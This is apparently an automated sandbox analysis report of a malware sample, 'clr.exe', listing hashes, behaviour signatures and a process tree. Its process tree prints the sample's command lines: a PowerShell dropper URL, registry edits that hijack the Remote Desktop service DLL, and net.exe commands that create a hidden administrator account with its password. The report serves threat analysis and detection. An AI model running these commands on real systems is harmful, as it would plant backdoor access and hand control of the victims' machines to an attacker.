cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

Analysis

max time kernel
119s
max time network
126s
platform
windows10_x64
resource
win10-en-20211014
submitted
26-10-2021 09:33

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General

Target

clr.exe
Size

5.7MB
MD5

63151e4f7c3972f18a23c0e9996e14ef
SHA1

5d041fde6433a8ff8fc78a69fca1fd4630e3f270
SHA256

cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3
SHA512

f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
29	596	powershell.exe
31	596	powershell.exe
32	596	powershell.exe
34	596	powershell.exe
36	596	powershell.exe
38	596	powershell.exe
40	596	powershell.exe
42	596	powershell.exe
44	596	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000600000001abec-364.dat	upx
behavioral2/files/0x000600000001abed-365.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
3060	Process not Found
3060	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_1k1ou5ku.pkr.ps1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI3093.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI3083.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI30C4.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI2FE6.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI30B4.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_epmh4eku.2m5.psm1	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2712	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	31	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	32	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	34	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	36	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
952	powershell.exe
952	powershell.exe
952	powershell.exe
1168	powershell.exe
1168	powershell.exe
1168	powershell.exe
2668	powershell.exe
2668	powershell.exe
2668	powershell.exe
2244	powershell.exe
2244	powershell.exe
2244	powershell.exe
952	powershell.exe
952	powershell.exe
952	powershell.exe
596	powershell.exe
596	powershell.exe
596	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
620	Process not Found
620	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	952	powershell.exe
Token: SeDebugPrivilege	1168	powershell.exe
Token: SeIncreaseQuotaPrivilege	1168	powershell.exe
Token: SeSecurityPrivilege	1168	powershell.exe
Token: SeTakeOwnershipPrivilege	1168	powershell.exe
Token: SeLoadDriverPrivilege	1168	powershell.exe
Token: SeSystemProfilePrivilege	1168	powershell.exe
Token: SeSystemtimePrivilege	1168	powershell.exe
Token: SeProfSingleProcessPrivilege	1168	powershell.exe
Token: SeIncBasePriorityPrivilege	1168	powershell.exe
Token: SeCreatePagefilePrivilege	1168	powershell.exe
Token: SeBackupPrivilege	1168	powershell.exe
Token: SeRestorePrivilege	1168	powershell.exe
Token: SeShutdownPrivilege	1168	powershell.exe
Token: SeDebugPrivilege	1168	powershell.exe
Token: SeSystemEnvironmentPrivilege	1168	powershell.exe
Token: SeRemoteShutdownPrivilege	1168	powershell.exe
Token: SeUndockPrivilege	1168	powershell.exe
Token: SeManageVolumePrivilege	1168	powershell.exe
Token: 33	1168	powershell.exe
Token: 34	1168	powershell.exe
Token: 35	1168	powershell.exe
Token: 36	1168	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeIncreaseQuotaPrivilege	2668	powershell.exe
Token: SeSecurityPrivilege	2668	powershell.exe
Token: SeTakeOwnershipPrivilege	2668	powershell.exe
Token: SeLoadDriverPrivilege	2668	powershell.exe
Token: SeSystemProfilePrivilege	2668	powershell.exe
Token: SeSystemtimePrivilege	2668	powershell.exe
Token: SeProfSingleProcessPrivilege	2668	powershell.exe
Token: SeIncBasePriorityPrivilege	2668	powershell.exe
Token: SeCreatePagefilePrivilege	2668	powershell.exe
Token: SeBackupPrivilege	2668	powershell.exe
Token: SeRestorePrivilege	2668	powershell.exe
Token: SeShutdownPrivilege	2668	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeSystemEnvironmentPrivilege	2668	powershell.exe
Token: SeRemoteShutdownPrivilege	2668	powershell.exe
Token: SeUndockPrivilege	2668	powershell.exe
Token: SeManageVolumePrivilege	2668	powershell.exe
Token: 33	2668	powershell.exe
Token: 34	2668	powershell.exe
Token: 35	2668	powershell.exe
Token: 36	2668	powershell.exe
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeIncreaseQuotaPrivilege	2244	powershell.exe
Token: SeSecurityPrivilege	2244	powershell.exe
Token: SeTakeOwnershipPrivilege	2244	powershell.exe
Token: SeLoadDriverPrivilege	2244	powershell.exe
Token: SeSystemProfilePrivilege	2244	powershell.exe
Token: SeSystemtimePrivilege	2244	powershell.exe
Token: SeProfSingleProcessPrivilege	2244	powershell.exe
Token: SeIncBasePriorityPrivilege	2244	powershell.exe
Token: SeCreatePagefilePrivilege	2244	powershell.exe
Token: SeBackupPrivilege	2244	powershell.exe
Token: SeRestorePrivilege	2244	powershell.exe
Token: SeShutdownPrivilege	2244	powershell.exe
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeSystemEnvironmentPrivilege	2244	powershell.exe
Token: SeRemoteShutdownPrivilege	2244	powershell.exe
Token: SeUndockPrivilege	2244	powershell.exe
Token: SeManageVolumePrivilege	2244	powershell.exe
Token: 33	2244	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3144 wrote to memory of 952	3144	clr.exe	70
PID 3144 wrote to memory of 952	3144	clr.exe	70
PID 952 wrote to memory of 860	952	powershell.exe	72
PID 952 wrote to memory of 860	952	powershell.exe	72
PID 860 wrote to memory of 4020	860	csc.exe	73
PID 860 wrote to memory of 4020	860	csc.exe	73
PID 952 wrote to memory of 1168	952	powershell.exe	74
PID 952 wrote to memory of 1168	952	powershell.exe	74
PID 952 wrote to memory of 2668	952	powershell.exe	77
PID 952 wrote to memory of 2668	952	powershell.exe	77
PID 952 wrote to memory of 2244	952	powershell.exe	79
PID 952 wrote to memory of 2244	952	powershell.exe	79
PID 952 wrote to memory of 2224	952	powershell.exe	81
PID 952 wrote to memory of 2224	952	powershell.exe	81
PID 952 wrote to memory of 2712	952	powershell.exe	82
PID 952 wrote to memory of 2712	952	powershell.exe	82
PID 952 wrote to memory of 1064	952	powershell.exe	83
PID 952 wrote to memory of 1064	952	powershell.exe	83
PID 952 wrote to memory of 1348	952	powershell.exe	84
PID 952 wrote to memory of 1348	952	powershell.exe	84
PID 1348 wrote to memory of 3540	1348	net.exe	85
PID 1348 wrote to memory of 3540	1348	net.exe	85
PID 952 wrote to memory of 2104	952	powershell.exe	86
PID 952 wrote to memory of 2104	952	powershell.exe	86
PID 2104 wrote to memory of 3696	2104	cmd.exe	87
PID 2104 wrote to memory of 3696	2104	cmd.exe	87
PID 3696 wrote to memory of 3212	3696	cmd.exe	88
PID 3696 wrote to memory of 3212	3696	cmd.exe	88
PID 3212 wrote to memory of 3952	3212	net.exe	89
PID 3212 wrote to memory of 3952	3212	net.exe	89
PID 952 wrote to memory of 2652	952	powershell.exe	90
PID 952 wrote to memory of 2652	952	powershell.exe	90
PID 2652 wrote to memory of 1536	2652	cmd.exe	91
PID 2652 wrote to memory of 1536	2652	cmd.exe	91
PID 1536 wrote to memory of 2220	1536	cmd.exe	92
PID 1536 wrote to memory of 2220	1536	cmd.exe	92
PID 2220 wrote to memory of 3020	2220	net.exe	93
PID 2220 wrote to memory of 3020	2220	net.exe	93
PID 1204 wrote to memory of 1560	1204	cmd.exe	97
PID 1204 wrote to memory of 1560	1204	cmd.exe	97
PID 1560 wrote to memory of 2020	1560	net.exe	98
PID 1560 wrote to memory of 2020	1560	net.exe	98
PID 360 wrote to memory of 3124	360	cmd.exe	101
PID 360 wrote to memory of 3124	360	cmd.exe	101
PID 3124 wrote to memory of 932	3124	net.exe	102
PID 3124 wrote to memory of 932	3124	net.exe	102
PID 316 wrote to memory of 2212	316	cmd.exe	105
PID 316 wrote to memory of 2212	316	cmd.exe	105
PID 2212 wrote to memory of 4020	2212	net.exe	106
PID 2212 wrote to memory of 4020	2212	net.exe	106
PID 2984 wrote to memory of 2472	2984	cmd.exe	109
PID 2984 wrote to memory of 2472	2984	cmd.exe	109
PID 2472 wrote to memory of 1720	2472	net.exe	110
PID 2472 wrote to memory of 1720	2472	net.exe	110
PID 2244 wrote to memory of 1336	2244	cmd.exe	113
PID 2244 wrote to memory of 1336	2244	cmd.exe	113
PID 1336 wrote to memory of 3892	1336	net.exe	114
PID 1336 wrote to memory of 3892	1336	net.exe	114
PID 348 wrote to memory of 2952	348	cmd.exe	117
PID 348 wrote to memory of 2952	348	cmd.exe	117
PID 2952 wrote to memory of 3184	2952	net.exe	118
PID 2952 wrote to memory of 3184	2952	net.exe	118
PID 3584 wrote to memory of 2916	3584	cmd.exe	121
PID 3584 wrote to memory of 2916	3584	cmd.exe	121

C:\Users\Admin\AppData\Local\Temp\clr.exe
"C:\Users\Admin\AppData\Local\Temp\clr.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:952
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\k40toqa5\k40toqa5.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:860
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCFA5.tmp" "c:\Users\Admin\AppData\Local\Temp\k40toqa5\CSCA31C43F07C2B42F88294B47B99DC8F4.TMP"
      4⤵
      PID:4020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2244
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:2224
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:2712
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1064
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1348
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:3540
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2104
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3696
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3212
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:3952
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2652
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1536
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2220
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:3020
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:3400
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:2916

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:1204
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:2020

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc Y0ksT0P9 /add
1⤵
- Suspicious use of WriteProcessMemory
PID:360
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc Y0ksT0P9 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3124
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc Y0ksT0P9 /add
    3⤵
    PID:932

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:316
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:4020

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2984
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
    3⤵
    PID:1720

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2244
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1336
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:3892

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc Y0ksT0P9
1⤵
- Suspicious use of WriteProcessMemory
PID:348
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc Y0ksT0P9
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2952
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc Y0ksT0P9
    3⤵
    PID:3184

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:3584
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:2916

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:3152
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:3080

C:\Windows\System32\cmd.exe
